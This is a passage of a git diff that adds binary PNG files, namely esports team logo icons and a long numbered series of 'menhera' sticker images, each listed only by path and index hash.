b/icons/lpl/200px/LNG.png differ diff --git a/icons/lpl/200px/OMG.png b/icons/lpl/200px/OMG.png new file mode 100644 index 00000000..632db559 Binary files /dev/null and b/icons/lpl/200px/OMG.png differ diff --git a/icons/lpl/200px/Overview.png b/icons/lpl/200px/Overview.png new file mode 100644 index 00000000..367d87dd Binary files /dev/null and b/icons/lpl/200px/Overview.png differ diff --git a/icons/lpl/200px/RA.png b/icons/lpl/200px/RA.png new file mode 100644 index 00000000..b6318b5d Binary files /dev/null and b/icons/lpl/200px/RA.png differ diff --git a/icons/lpl/200px/RGE.png b/icons/lpl/200px/RGE.png new file mode 100644 index 00000000..f4a492e0 Binary files /dev/null and b/icons/lpl/200px/RGE.png differ diff --git a/icons/lpl/200px/RNG.png b/icons/lpl/200px/RNG.png new file mode 100644 index 00000000..0154481e Binary files /dev/null and b/icons/lpl/200px/RNG.png differ diff --git a/icons/lpl/200px/T1.png b/icons/lpl/200px/T1.png new file mode 100644 index 00000000..21a347ed Binary files /dev/null and b/icons/lpl/200px/T1.png differ diff --git a/icons/lpl/200px/TES.png b/icons/lpl/200px/TES.png new file mode 100644 index 00000000..205fd310 Binary files /dev/null and b/icons/lpl/200px/TES.png differ diff --git a/icons/lpl/200px/TT.png b/icons/lpl/200px/TT.png new file mode 100644 index 00000000..61468eed Binary files /dev/null and b/icons/lpl/200px/TT.png differ diff --git a/icons/lpl/200px/UP.png b/icons/lpl/200px/UP.png new file mode 100644 index 00000000..360ca342 Binary files /dev/null and b/icons/lpl/200px/UP.png differ diff --git a/icons/lpl/200px/V5.png b/icons/lpl/200px/V5.png new file mode 100644 index 00000000..a13779f2 Binary files /dev/null and b/icons/lpl/200px/V5.png differ diff --git a/icons/lpl/200px/WBG.png b/icons/lpl/200px/WBG.png new file mode 100644 index 00000000..8a3fb844 Binary files /dev/null and b/icons/lpl/200px/WBG.png differ diff --git a/icons/lpl/200px/WE.png b/icons/lpl/200px/WE.png new file mode 100644 index 00000000..820744cb Binary files /dev/null and b/icons/lpl/200px/WE.png differ diff --git a/icons/menhera/Sticker_1000.png b/icons/menhera/Sticker_1000.png new file mode 100644 index 00000000..69fda258 Binary files /dev/null and b/icons/menhera/Sticker_1000.png differ diff --git a/icons/menhera/Sticker_1001.png b/icons/menhera/Sticker_1001.png new file mode 100644 index 00000000..e4e7974b Binary files /dev/null and b/icons/menhera/Sticker_1001.png differ diff --git a/icons/menhera/Sticker_1002.png b/icons/menhera/Sticker_1002.png new file mode 100644 index 00000000..de5af612 Binary files /dev/null and b/icons/menhera/Sticker_1002.png differ diff --git a/icons/menhera/Sticker_1003.png b/icons/menhera/Sticker_1003.png new file mode 100644 index 00000000..0946a710 Binary files /dev/null and b/icons/menhera/Sticker_1003.png differ diff --git a/icons/menhera/Sticker_1004.png b/icons/menhera/Sticker_1004.png new file mode 100644 index 00000000..bd1618e1 Binary files /dev/null and b/icons/menhera/Sticker_1004.png differ diff --git a/icons/menhera/Sticker_1005.png b/icons/menhera/Sticker_1005.png new file mode 100644 index 00000000..0bd226e5 Binary files /dev/null and b/icons/menhera/Sticker_1005.png differ diff --git a/icons/menhera/Sticker_1006.png b/icons/menhera/Sticker_1006.png new file mode 100644 index 00000000..aa4f905a Binary files /dev/null and b/icons/menhera/Sticker_1006.png differ diff --git a/icons/menhera/Sticker_1007.png b/icons/menhera/Sticker_1007.png new file mode 100644 index 00000000..3ec587a3 Binary files /dev/null and b/icons/menhera/Sticker_1007.png differ diff --git a/icons/menhera/Sticker_1008.png b/icons/menhera/Sticker_1008.png new file mode 100644 index 00000000..c0e1e191 Binary files /dev/null and b/icons/menhera/Sticker_1008.png differ diff --git a/icons/menhera/Sticker_1009.png b/icons/menhera/Sticker_1009.png new file mode 100644 index 00000000..03df2f4f Binary files /dev/null and b/icons/menhera/Sticker_1009.png differ diff --git a/icons/menhera/Sticker_1010.png b/icons/menhera/Sticker_1010.png new file mode 100644 index 00000000..8f4d56cb Binary files /dev/null and b/icons/menhera/Sticker_1010.png differ diff --git a/icons/menhera/Sticker_1011.png b/icons/menhera/Sticker_1011.png new file mode 100644 index 00000000..f39af1c0 Binary files /dev/null and b/icons/menhera/Sticker_1011.png differ diff --git a/icons/menhera/Sticker_1012.png b/icons/menhera/Sticker_1012.png new file mode 100644 index 00000000..a59bfac4 Binary files /dev/null and b/icons/menhera/Sticker_1012.png differ diff --git a/icons/menhera/Sticker_1013.png b/icons/menhera/Sticker_1013.png new file mode 100644 index 00000000..b2073880 Binary files /dev/null and b/icons/menhera/Sticker_1013.png differ diff --git a/icons/menhera/Sticker_1014.png b/icons/menhera/Sticker_1014.png new file mode 100644 index 00000000..20e5e001 Binary files /dev/null and b/icons/menhera/Sticker_1014.png differ diff --git a/icons/menhera/Sticker_1015.png b/icons/menhera/Sticker_1015.png new file mode 100644 index 00000000..13282b13 Binary files /dev/null and b/icons/menhera/Sticker_1015.png differ diff --git a/icons/menhera/Sticker_1016.png b/icons/menhera/Sticker_1016.png new file mode 100644 index 00000000..693c7af4 Binary files /dev/null and b/icons/menhera/Sticker_1016.png differ diff --git a/icons/menhera/Sticker_1017.png b/icons/menhera/Sticker_1017.png new file mode 100644 index 00000000..a723fc91 Binary files /dev/null and b/icons/menhera/Sticker_1017.png differ diff --git a/icons/menhera/Sticker_1018.png b/icons/menhera/Sticker_1018.png new file mode 100644 index 00000000..1d108a13 Binary files /dev/null and b/icons/menhera/Sticker_1018.png differ diff --git a/icons/menhera/Sticker_1019.png b/icons/menhera/Sticker_1019.png new file mode 100644 index 00000000..8d2d0aac Binary files /dev/null and b/icons/menhera/Sticker_1019.png differ diff --git a/icons/menhera/Sticker_1020.png b/icons/menhera/Sticker_1020.png new file mode 100644 index 00000000..46441216 Binary files /dev/null and b/icons/menhera/Sticker_1020.png differ diff --git a/icons/menhera/Sticker_1021.png b/icons/menhera/Sticker_1021.png new file mode 100644 index 00000000..c6784643 Binary files /dev/null and b/icons/menhera/Sticker_1021.png differ diff --git a/icons/menhera/Sticker_1022.png b/icons/menhera/Sticker_1022.png new file mode 100644 index 00000000..c04e30a5 Binary files /dev/null and b/icons/menhera/Sticker_1022.png differ diff --git a/icons/menhera/Sticker_1023.png b/icons/menhera/Sticker_1023.png new file mode 100644 index 00000000..9ad7ff8d Binary files /dev/null and b/icons/menhera/Sticker_1023.png differ diff --git a/icons/menhera/Sticker_1024.png b/icons/menhera/Sticker_1024.png new file mode 100644 index 00000000..befdf884 Binary files /dev/null and b/icons/menhera/Sticker_1024.png differ diff --git a/icons/menhera/Sticker_1025.png b/icons/menhera/Sticker_1025.png new file mode 100644 index 00000000..577c7380 Binary files /dev/null and b/icons/menhera/Sticker_1025.png differ diff --git a/icons/menhera/Sticker_1026.png b/icons/menhera/Sticker_1026.png new file mode 100644 index 00000000..adbb0338 Binary files /dev/null and b/icons/menhera/Sticker_1026.png differ diff --git a/icons/menhera/Sticker_1027.png b/icons/menhera/Sticker_1027.png new file mode 100644 index 00000000..bce4591c Binary files /dev/null and b/icons/menhera/Sticker_1027.png differ diff --git a/icons/menhera/Sticker_1028.png b/icons/menhera/Sticker_1028.png new file mode 100644 index 00000000..2babd9d0 Binary files /dev/null and b/icons/menhera/Sticker_1028.png differ diff --git a/icons/menhera/Sticker_1029.png b/icons/menhera/Sticker_1029.png new file mode 100644 index 00000000..83501c25 Binary files /dev/null and b/icons/menhera/Sticker_1029.png differ diff --git a/icons/menhera/Sticker_1030.png b/icons/menhera/Sticker_1030.png new file mode 100644 index 00000000..0d0d4007 Binary files /dev/null and b/icons/menhera/Sticker_1030.png differ diff --git a/icons/menhera/Sticker_1031.png b/icons/menhera/Sticker_1031.png new file mode 100644 index 00000000..88ea4dc3 Binary files /dev/null and b/icons/menhera/Sticker_1031.png differ diff --git a/icons/menhera/Sticker_1032.png b/icons/menhera/Sticker_1032.png new file mode 100644 index 00000000..4729368c Binary files /dev/null and b/icons/menhera/Sticker_1032.png differ diff --git a/icons/menhera/Sticker_1033.png b/icons/menhera/Sticker_1033.png new file mode 100644 index 00000000..17ce941f Binary files /dev/null and b/icons/menhera/Sticker_1033.png differ diff --git a/icons/menhera/Sticker_1034.png b/icons/menhera/Sticker_1034.png new file mode 100644 index 00000000..46756289 Binary files /dev/null and b/icons/menhera/Sticker_1034.png differ diff --git a/icons/menhera/Sticker_1035.png b/icons/menhera/Sticker_1035.png new file mode 100644 index 00000000..58f045ce Binary files /dev/null and b/icons/menhera/Sticker_1035.png differ diff --git a/icons/menhera/Sticker_1036.png b/icons/menhera/Sticker_1036.png new file mode 100644 index 00000000..f99068b4 Binary files /dev/null and b/icons/menhera/Sticker_1036.png differ diff --git a/icons/menhera/Sticker_1037.png b/icons/menhera/Sticker_1037.png new file mode 100644 index 00000000..81b407a1 Binary files /dev/null and b/icons/menhera/Sticker_1037.png differ diff --git a/icons/menhera/Sticker_1038.png b/icons/menhera/Sticker_1038.png new file mode 100644 index 00000000..65ecdb57 Binary files /dev/null and b/icons/menhera/Sticker_1038.png differ diff --git a/icons/menhera/Sticker_1039.png b/icons/menhera/Sticker_1039.png new file mode 100644 index 00000000..d572a464 Binary files /dev/null and b/icons/menhera/Sticker_1039.png differ diff --git a/icons/menhera/Sticker_1040.png b/icons/menhera/Sticker_1040.png new file mode 100644 index 00000000..2eed9d21 Binary files /dev/null and b/icons/menhera/Sticker_1040.png differ diff --git a/icons/menhera/Sticker_1041.png b/icons/menhera/Sticker_1041.png new file mode 100644 index 00000000..31f5a60c Binary files /dev/null and b/icons/menhera/Sticker_1041.png differ diff --git a/icons/menhera/Sticker_1042.png b/icons/menhera/Sticker_1042.png new file mode 100644 index 00000000..316c44f0 Binary files /dev/null and b/icons/menhera/Sticker_1042.png differ diff --git a/icons/menhera/Sticker_1043.png b/icons/menhera/Sticker_1043.png new file mode 100644 index 00000000..68aa4df0 Binary files /dev/null and b/icons/menhera/Sticker_1043.png differ diff --git a/icons/menhera/Sticker_1044.png b/icons/menhera/Sticker_1044.png new file mode 100644 index 00000000..6d4f6b82 Binary files /dev/null and b/icons/menhera/Sticker_1044.png differ diff --git a/icons/menhera/Sticker_1045.png b/icons/menhera/Sticker_1045.png new file mode 100644 index 00000000..85898b0c Binary files /dev/null and b/icons/menhera/Sticker_1045.png differ diff --git a/icons/menhera/Sticker_1046.png b/icons/menhera/Sticker_1046.png new file mode 100644 index 00000000..6f2505cf Binary files /dev/null and b/icons/menhera/Sticker_1046.png differ diff --git a/icons/menhera/Sticker_1047.png b/icons/menhera/Sticker_1047.png new file mode 100644 index 00000000..1f11f14e Binary files /dev/null and b/icons/menhera/Sticker_1047.png differ diff --git a/icons/menhera/Sticker_1048.png b/icons/menhera/Sticker_1048.png new file mode 100644 index 00000000..e9f1bf5b Binary files /dev/null and b/icons/menhera/Sticker_1048.png differ diff --git a/icons/menhera/Sticker_1049.png b/icons/menhera/Sticker_1049.png new file mode 100644 index 00000000..4547c5c2 Binary files /dev/null and b/icons/menhera/Sticker_1049.png differ diff --git a/icons/menhera/Sticker_1050.png b/icons/menhera/Sticker_1050.png new file mode 100644 index 00000000..52278c37 Binary files /dev/null and b/icons/menhera/Sticker_1050.png differ diff --git a/icons/menhera/Sticker_1051.png b/icons/menhera/Sticker_1051.png new file mode 100644 index 00000000..024079a8 Binary files /dev/null and b/icons/menhera/Sticker_1051.png differ diff --git a/icons/menhera/Sticker_1052.png b/icons/menhera/Sticker_1052.png new file mode 100644 index 00000000..aff87ed3 Binary files /dev/null and b/icons/menhera/Sticker_1052.png differ diff --git a/icons/menhera/Sticker_1053.png b/icons/menhera/Sticker_1053.png new file mode 100644 index 00000000..4232aaa0 Binary files /dev/null and b/icons/menhera/Sticker_1053.png differ diff --git a/icons/menhera/Sticker_1054.png b/icons/menhera/Sticker_1054.png new file mode 100644 index 00000000..ebc8854b Binary files /dev/null and b/icons/menhera/Sticker_1054.png differ diff --git a/icons/menhera/Sticker_1055.png b/icons/menhera/Sticker_1055.png new file mode 100644 index 00000000..b65c79c8 Binary files /dev/null and b/icons/menhera/Sticker_1055.png differ diff --git a/icons/menhera/Sticker_1056.png b/icons/menhera/Sticker_1056.png new file mode 100644 index 00000000..66a634a5 Binary files /dev/null and b/icons/menhera/Sticker_1056.png differ diff --git a/icons/menhera/Sticker_1057.png b/icons/menhera/Sticker_1057.png new file mode 100644 index 00000000..9b5af259 Binary files /dev/null and b/icons/menhera/Sticker_1057.png differ diff --git a/icons/menhera/Sticker_1058.png b/icons/menhera/Sticker_1058.png new file mode 100644 index 00000000..99983f8f Binary files /dev/null and b/icons/menhera/Sticker_1058.png differ diff --git a/icons/menhera/Sticker_1059.png b/icons/menhera/Sticker_1059.png new file mode 100644 index 00000000..552974b8 Binary files /dev/null and b/icons/menhera/Sticker_1059.png differ diff --git a/icons/menhera/Sticker_1060.png b/icons/menhera/Sticker_1060.png new file mode 100644 index 00000000..91e37abd Binary files /dev/null and b/icons/menhera/Sticker_1060.png differ diff --git a/icons/menhera/Sticker_1061.png b/icons/menhera/Sticker_1061.png new file mode 100644 index 00000000..c2516c80 Binary files /dev/null and b/icons/menhera/Sticker_1061.png differ diff --git a/icons/menhera/Sticker_1062.png b/icons/menhera/Sticker_1062.png new file mode 100644 index 00000000..72b423f2 Binary files /dev/null and b/icons/menhera/Sticker_1062.png differ diff --git a/icons/menhera/Sticker_1063.png b/icons/menhera/Sticker_1063.png new file mode 100644 index 00000000..675f04fa Binary files /dev/null and b/icons/menhera/Sticker_1063.png differ diff --git a/icons/menhera/Sticker_1064.png b/icons/menhera/Sticker_1064.png new file mode 100644 index 00000000..3adc5e23 Binary files /dev/null and b/icons/menhera/Sticker_1064.png differ diff --git a/icons/menhera/Sticker_1065.png b/icons/menhera/Sticker_1065.png new file mode 100644 index 00000000..3c542fa4 Binary files /dev/null and b/icons/menhera/Sticker_1065.png differ diff --git a/icons/menhera/Sticker_1066.png b/icons/menhera/Sticker_1066.png new file mode 100644 index 00000000..cdf2c663 Binary files /dev/null and b/icons/menhera/Sticker_1066.png differ diff --git a/icons/menhera/Sticker_1067.png b/icons/menhera/Sticker_1067.png new file mode 100644 index 00000000..e9fb05b1 Binary files /dev/null and b/icons/menhera/Sticker_1067.png differ diff --git a/icons/menhera/Sticker_1068.png b/icons/menhera/Sticker_1068.png new file mode 100644 index 00000000..ea9e497f Binary files /dev/null and b/icons/menhera/Sticker_1068.png differ diff --git a/icons/menhera/Sticker_1069.png b/icons/menhera/Sticker_1069.png new file mode 100644 index 00000000..9a27130e Binary files /dev/null and b/icons/menhera/Sticker_1069.png differ diff --git a/icons/menhera/Sticker_1070.png b/icons/menhera/Sticker_1070.png new file mode 100644 index 00000000..eaa5bb51 Binary files /dev/null and b/icons/menhera/Sticker_1070.png differ diff --git a/icons/menhera/Sticker_1071.png b/icons/menhera/Sticker_1071.png new file mode 100644 index 00000000..ecc7a21a Binary files /dev/null and b/icons/menhera/Sticker_1071.png differ diff --git a/icons/menhera/Sticker_1072.png b/icons/menhera/Sticker_1072.png new file mode 100644 index 00000000..9fc2d54a Binary files /dev/null and b/icons/menhera/Sticker_1072.png differ diff --git a/icons/menhera/Sticker_1073.png b/icons/menhera/Sticker_1073.png new file mode 100644 index 00000000..e18184ba Binary files /dev/null and b/icons/menhera/Sticker_1073.png differ diff --git a/icons/menhera/Sticker_1074.png b/icons/menhera/Sticker_1074.png new file mode 100644 index 00000000..3df07cc4 Binary files /dev/null and b/icons/menhera/Sticker_1074.png differ diff --git a/icons/menhera/Sticker_1075.png b/icons/menhera/Sticker_1075.png new file mode 100644 index 00000000..afd491ed Binary files /dev/null and b/icons/menhera/Sticker_1075.png differ diff --git a/icons/menhera/Sticker_1076.png b/icons/menhera/Sticker_1076.png new file mode 100644 index 00000000..6c559b63 Binary files /dev/null and b/icons/menhera/Sticker_1076.png differ diff --git a/icons/menhera/Sticker_1077.png b/icons/menhera/Sticker_1077.png new file mode 100644 index 00000000..433552bd Binary files /dev/null and b/icons/menhera/Sticker_1077.png differ diff --git a/icons/menhera/Sticker_1078.png b/icons/menhera/Sticker_1078.png new file mode 100644 index 00000000..318ad5a7 Binary files /dev/null and b/icons/menhera/Sticker_1078.png differ diff --git a/icons/menhera/Sticker_1079.png b/icons/menhera/Sticker_1079.png new file mode 100644 index 00000000..53167059 Binary files /dev/null and b/icons/menhera/Sticker_1079.png differ diff --git a/icons/menhera/Sticker_1080.png b/icons/menhera/Sticker_1080.png new file mode 100644 index 00000000..aa56092a Binary files /dev/null and b/icons/menhera/Sticker_1080.png differ diff --git a/icons/menhera/Sticker_1081.png b/icons/menhera/Sticker_1081.png new file mode 100644 index 00000000..21272bc1 Binary files /dev/null and b/icons/menhera/Sticker_1081.png differ diff --git a/icons/menhera/Sticker_1082.png b/icons/menhera/Sticker_1082.png new file mode 100644 index 00000000..4071e7e9 Binary files /dev/null and b/icons/menhera/Sticker_1082.png differ diff --git a/icons/menhera/Sticker_1083.png b/icons/menhera/Sticker_1083.png new file mode 100644 index 00000000..b57078f2 Binary files /dev/null and b/icons/menhera/Sticker_1083.png differ diff --git a/icons/menhera/Sticker_1084.png b/icons/menhera/Sticker_1084.png new file mode 100644 index 00000000..0e65fb42 Binary files /dev/null and b/icons/menhera/Sticker_1084.png differ diff --git a/icons/menhera/Sticker_1085.png b/icons/menhera/Sticker_1085.png new file mode 100644 index 00000000..964a82ee Binary files /dev/null and b/icons/menhera/Sticker_1085.png differ diff --git a/icons/menhera/Sticker_1086.png b/icons/menhera/Sticker_1086.png new file mode 100644 index 00000000..8482f354 Binary files /dev/null and b/icons/menhera/Sticker_1086.png differ diff --git a/icons/menhera/Sticker_1087.png b/icons/menhera/Sticker_1087.png new file mode 100644 index 00000000..3662e7ae Binary files /dev/null and b/icons/menhera/Sticker_1087.png differ diff --git a/icons/menhera/Sticker_1088.png b/icons/menhera/Sticker_1088.png new file mode 100644 index 00000000..81590ac8 Binary files /dev/null and b/icons/menhera/Sticker_1088.png differ diff --git a/icons/menhera/Sticker_1089.png b/icons/menhera/Sticker_1089.png new file mode 100644 index 00000000..6b6b1239 Binary files /dev/null and b/icons/menhera/Sticker_1089.png differ diff --git a/icons/menhera/Sticker_1090.png b/icons/menhera/Sticker_1090.png new file mode 100644 index 00000000..c8b921cb Binary files /dev/null and b/icons/menhera/Sticker_1090.png differ diff --git a/icons/menhera/Sticker_1091.png b/icons/menhera/Sticker_1091.png new file mode 100644 index 00000000..a269bcc0 Binary files /dev/null and b/icons/menhera/Sticker_1091.png differ diff --git a/icons/menhera/Sticker_1092.png b/icons/menhera/Sticker_1092.png new file mode 100644 index 00000000..4aad2c27 Binary files /dev/null and b/icons/menhera/Sticker_1092.png differ diff --git a/icons/menhera/Sticker_1093.png b/icons/menhera/Sticker_1093.png new file mode 100644 index 00000000..75397fb2 Binary files /dev/null and b/icons/menhera/Sticker_1093.png differ diff --git a/icons/menhera/Sticker_1094.png b/icons/menhera/Sticker_1094.png new file mode 100644 index 00000000..72137b08 Binary files /dev/null and b/icons/menhera/Sticker_1094.png differ diff --git a/icons/menhera/Sticker_1095.png b/icons/menhera/Sticker_1095.png new file mode 100644 index 00000000..0dd7e459 Binary files /dev/null and b/icons/menhera/Sticker_1095.png differ diff --git a/icons/menhera/Sticker_1096.png b/icons/menhera/Sticker_1096.png new file mode 100644 index 00000000..6352abcd Binary files /dev/null and b/icons/menhera/Sticker_1096.png differ diff --git a/icons/menhera/Sticker_1097.png b/icons/menhera/Sticker_1097.png new file mode 100644 index 00000000..0b82e8a3 Binary files /dev/null and b/icons/menhera/Sticker_1097.png differ diff --git a/icons/menhera/Sticker_1098.png b/icons/menhera/Sticker_1098.png new file mode 100644 index 00000000..37465d1b Binary files /dev/null and b/icons/menhera/Sticker_1098.png differ diff --git a/icons/menhera/Sticker_1099.png b/icons/menhera/Sticker_1099.png new file mode 100644 index 00000000..489cf504 Binary files /dev/null and b/icons/menhera/Sticker_1099.png differ diff --git a/icons/menhera/Sticker_1100.png b/icons/menhera/Sticker_1100.png new file mode 100644 index 00000000..bb7e6b7f Binary files /dev/null and b/icons/menhera/Sticker_1100.png differ diff --git a/icons/menhera/Sticker_1101.png b/icons/menhera/Sticker_1101.png new file mode 100644 index 00000000..1f78134c Binary files /dev/null and b/icons/menhera/Sticker_1101.png differ diff --git a/icons/menhera/Sticker_1102.png b/icons/menhera/Sticker_1102.png new file mode 100644 index 00000000..2e43db7a Binary files /dev/null and b/icons/menhera/Sticker_1102.png differ diff --git a/icons/menhera/Sticker_1103.png b/icons/menhera/Sticker_1103.png new file mode 100644 index 00000000..7e5a57a9 Binary files /dev/null and b/icons/menhera/Sticker_1103.png differ diff --git a/icons/menhera/Sticker_1104.png b/icons/menhera/Sticker_1104.png new file mode 100644 index 00000000..97b535a8 Binary files /dev/null and b/icons/menhera/Sticker_1104.png differ diff --git a/icons/menhera/Sticker_1105.png b/icons/menhera/Sticker_1105.png new file mode 100644 index 00000000..29414d05 Binary files /dev/null and b/icons/menhera/Sticker_1105.png differ diff --git a/icons/menhera/Sticker_1106.png b/icons/menhera/Sticker_1106.png new file mode 100644 index 00000000..57725759 Binary files /dev/null and b/icons/menhera/Sticker_1106.png differ diff --git a/icons/menhera/Sticker_1107.png b/icons/menhera/Sticker_1107.png new file mode 100644 index 00000000..069edf16 Binary files /dev/null and b/icons/menhera/Sticker_1107.png differ diff --git a/icons/menhera/Sticker_1108.png b/icons/menhera/Sticker_1108.png new file mode 100644 index 00000000..57846886 Binary files /dev/null and b/icons/menhera/Sticker_1108.png differ diff --git a/icons/menhera/Sticker_1109.png b/icons/menhera/Sticker_1109.png new file mode 100644 index 00000000..78658ab0 Binary files /dev/null and b/icons/menhera/Sticker_1109.png differ diff --git a/icons/menhera/Sticker_1110.png b/icons/menhera/Sticker_1110.png new file mode 100644 index 00000000..aafc7717 Binary files /dev/null and b/icons/menhera/Sticker_1110.png differ diff --git a/icons/menhera/Sticker_1111.png b/icons/menhera/Sticker_1111.png new file mode 100644 index 00000000..492d59ba Binary files /dev/null and b/icons/menhera/Sticker_1111.png differ diff --git a/icons/menhera/Sticker_1112.png b/icons/menhera/Sticker_1112.png new file mode 100644 index 00000000..fb395612 Binary files /dev/null and b/icons/menhera/Sticker_1112.png differ diff --git a/icons/menhera/Sticker_1113.png b/icons/menhera/Sticker_1113.png new file mode 100644 index 00000000..99c6424d Binary files /dev/null and b/icons/menhera/Sticker_1113.png differ diff --git a/icons/menhera/Sticker_1114.png b/icons/menhera/Sticker_1114.png new file mode 100644 index 00000000..725ba827 Binary files /dev/null and b/icons/menhera/Sticker_1114.png differ diff --git a/icons/menhera/Sticker_1115.png b/icons/menhera/Sticker_1115.png new file mode 100644 index 00000000..67feeb2d Binary files /dev/null and b/icons/menhera/Sticker_1115.png differ diff --git a/icons/menhera/Sticker_1116.png b/icons/menhera/Sticker_1116.png new file mode 100644 index 00000000..8c11e2c3 Binary files /dev/null and b/icons/menhera/Sticker_1116.png differ diff --git a/icons/menhera/Sticker_1117.png b/icons/menhera/Sticker_1117.png new file mode 100644 index 00000000..cd15cf1a Binary files /dev/null and b/icons/menhera/Sticker_1117.png differ diff --git a/icons/menhera/Sticker_1118.png b/icons/menhera/Sticker_1118.png new file mode 100644 index 00000000..3a2a9e3f Binary files /dev/null and b/icons/menhera/Sticker_1118.png differ diff --git a/icons/menhera/Sticker_1119.png b/icons/menhera/Sticker_1119.png new file mode 100644 index 00000000..c1f6e4e2 Binary files /dev/null and b/icons/menhera/Sticker_1119.png differ diff --git a/icons/menhera/Sticker_1120.png b/icons/menhera/Sticker_1120.png new file mode 100644 index 00000000..490c0999 Binary files /dev/null and b/icons/menhera/Sticker_1120.png differ diff --git a/icons/menhera/Sticker_1121.png b/icons/menhera/Sticker_1121.png new file mode 100644 index 00000000..dc170c84 Binary files /dev/null and b/icons/menhera/Sticker_1121.png differ diff --git a/icons/menhera/Sticker_1122.png b/icons/menhera/Sticker_1122.png new file mode 100644 index 00000000..de885281 Binary files /dev/null and b/icons/menhera/Sticker_1122.png differ diff --git a/icons/menhera/Sticker_1123.png b/icons/menhera/Sticker_1123.png new file mode 100644 index 00000000..bb14e8f8 Binary files /dev/null and b/icons/menhera/Sticker_1123.png differ diff --git a/icons/menhera/Sticker_1124.png b/icons/menhera/Sticker_1124.png new file mode 100644 index 00000000..402a94ec Binary files /dev/null and b/icons/menhera/Sticker_1124.png differ diff --git a/icons/menhera/Sticker_1125.png b/icons/menhera/Sticker_1125.png new file mode 100644 index 00000000..dd9fef67 Binary files /dev/null and b/icons/menhera/Sticker_1125.png differ diff --git a/icons/menhera/Sticker_1126.png b/icons/menhera/Sticker_1126.png new file mode 100644 index 00000000..26b977c3 Binary files /dev/null and b/icons/menhera/Sticker_1126.png differ diff --git a/icons/menhera/Sticker_1127.png b/icons/menhera/Sticker_1127.png new file mode 100644 index 00000000..c06b030d Binary files /dev/null and b/icons/menhera/Sticker_1127.png differ diff --git a/icons/menhera/Sticker_1128.png b/icons/menhera/Sticker_1128.png new file mode 100644 index 00000000..8b43ff7f Binary files /dev/null and b/icons/menhera/Sticker_1128.png differ diff --git a/icons/menhera/Sticker_1129.png b/icons/menhera/Sticker_1129.png new file mode 100644 index 00000000..dc76abbd Binary files /dev/null and b/icons/menhera/Sticker_1129.png differ diff --git a/icons/menhera/Sticker_1130.png b/icons/menhera/Sticker_1130.png new file mode 100644 index 00000000..28286a83 Binary files /dev/null and b/icons/menhera/Sticker_1130.png differ diff --git a/icons/menhera/Sticker_1131.png b/icons/menhera/Sticker_1131.png new file mode 100644 index 00000000..55c86514 Binary files /dev/null and b/icons/menhera/Sticker_1131.png differ diff --git a/icons/menhera/Sticker_1132.png b/icons/menhera/Sticker_1132.png new file mode 100644 index 00000000..ef7b18ab Binary files /dev/null and b/icons/menhera/Sticker_1132.png differ diff --git a/icons/menhera/Sticker_1133.png b/icons/menhera/Sticker_1133.png new file mode 100644 index 00000000..ac021771 Binary files /dev/null and b/icons/menhera/Sticker_1133.png differ diff --git a/icons/menhera/Sticker_1134.png b/icons/menhera/Sticker_1134.png new file mode 100644 index 00000000..f2865860 Binary files /dev/null and b/icons/menhera/Sticker_1134.png differ diff --git a/icons/menhera/Sticker_1135.png b/icons/menhera/Sticker_1135.png new file mode 100644 index 00000000..014c4bd1 Binary files /dev/null and b/icons/menhera/Sticker_1135.png differ diff --git a/icons/menhera/Sticker_1136.png b/icons/menhera/Sticker_1136.png new file mode 100644 index 00000000..4efdb9ce Binary files /dev/null and b/icons/menhera/Sticker_1136.png differ diff --git a/icons/menhera/Sticker_1137.png b/icons/menhera/Sticker_1137.png new file mode 100644 index 00000000..34a2665c Binary files /dev/null and b/icons/menhera/Sticker_1137.png differ diff --git a/icons/menhera/Sticker_1138.png b/icons/menhera/Sticker_1138.png new file mode 100644 index 00000000..9ff82bfd Binary files /dev/null and b/icons/menhera/Sticker_1138.png differ diff --git a/icons/menhera/Sticker_1139.png b/icons/menhera/Sticker_1139.png new file mode 100644 index 00000000..639b8513 Binary files /dev/null and b/icons/menhera/Sticker_1139.png differ diff --git a/icons/menhera/Sticker_1140.png b/icons/menhera/Sticker_1140.png new file mode 100644 index 00000000..e370d1e1 Binary files /dev/null and b/icons/menhera/Sticker_1140.png differ diff --git a/icons/menhera/Sticker_1141.png b/icons/menhera/Sticker_1141.png new file mode 100644 index 00000000..7e93f056 Binary files /dev/null and b/icons/menhera/Sticker_1141.png differ diff --git a/icons/menhera/Sticker_1142.png b/icons/menhera/Sticker_1142.png new file mode 100644 index 00000000..acb25ede Binary files /dev/null and b/icons/menhera/Sticker_1142.png differ diff --git a/icons/menhera/Sticker_1143.png b/icons/menhera/Sticker_1143.png new file mode 100644 index 00000000..9b4ba9c2 Binary files /dev/null and b/icons/menhera/Sticker_1143.png differ diff --git a/icons/menhera/Sticker_1144.png b/icons/menhera/Sticker_1144.png new file mode 100644 index 00000000..2cae5fbb Binary files /dev/null and b/icons/menhera/Sticker_1144.png differ diff --git a/icons/menhera/Sticker_1145.png b/icons/menhera/Sticker_1145.png new file mode 100644 index 00000000..fd3faa91 Binary files /dev/null and b/icons/menhera/Sticker_1145.png differ diff --git a/icons/menhera/Sticker_1146.png b/icons/menhera/Sticker_1146.png new file mode 100644 index 00000000..f92d9812 Binary files /dev/null and b/icons/menhera/Sticker_1146.png differ diff --git a/icons/menhera/Sticker_1147.png b/icons/menhera/Sticker_1147.png new file mode 100644 index 00000000..ed085fea Binary files /dev/null and b/icons/menhera/Sticker_1147.png differ diff --git a/icons/menhera/Sticker_1148.png b/icons/menhera/Sticker_1148.png new file mode 100644 index 00000000..a3b34d98 Binary files /dev/null and b/icons/menhera/Sticker_1148.png differ diff --git a/icons/menhera/Sticker_1149.png b/icons/menhera/Sticker_1149.png new file mode 100644 index 00000000..d4d05ad2 Binary files /dev/null and b/icons/menhera/Sticker_1149.png differ diff --git a/icons/menhera/Sticker_1150.png b/icons/menhera/Sticker_1150.png new file mode 100644 index 00000000..dd493d95 Binary files /dev/null and b/icons/menhera/Sticker_1150.png differ diff --git a/icons/menhera/Sticker_1151.png b/icons/menhera/Sticker_1151.png new file mode 100644 index 00000000..0e388ff9 Binary files /dev/null and b/icons/menhera/Sticker_1151.png differ diff --git a/icons/menhera/Sticker_1152.png b/icons/menhera/Sticker_1152.png new file mode 100644 index 00000000..25bc8523 Binary files /dev/null and b/icons/menhera/Sticker_1152.png differ diff --git a/icons/menhera/Sticker_1153.png b/icons/menhera/Sticker_1153.png new file mode 100644 index 00000000..1c2ad9d4 Binary files /dev/null and b/icons/menhera/Sticker_1153.png differ diff --git a/icons/menhera/Sticker_1154.png b/icons/menhera/Sticker_1154.png new file mode 100644 index 00000000..202afc36 Binary files /dev/null and b/icons/menhera/Sticker_1154.png differ diff --git 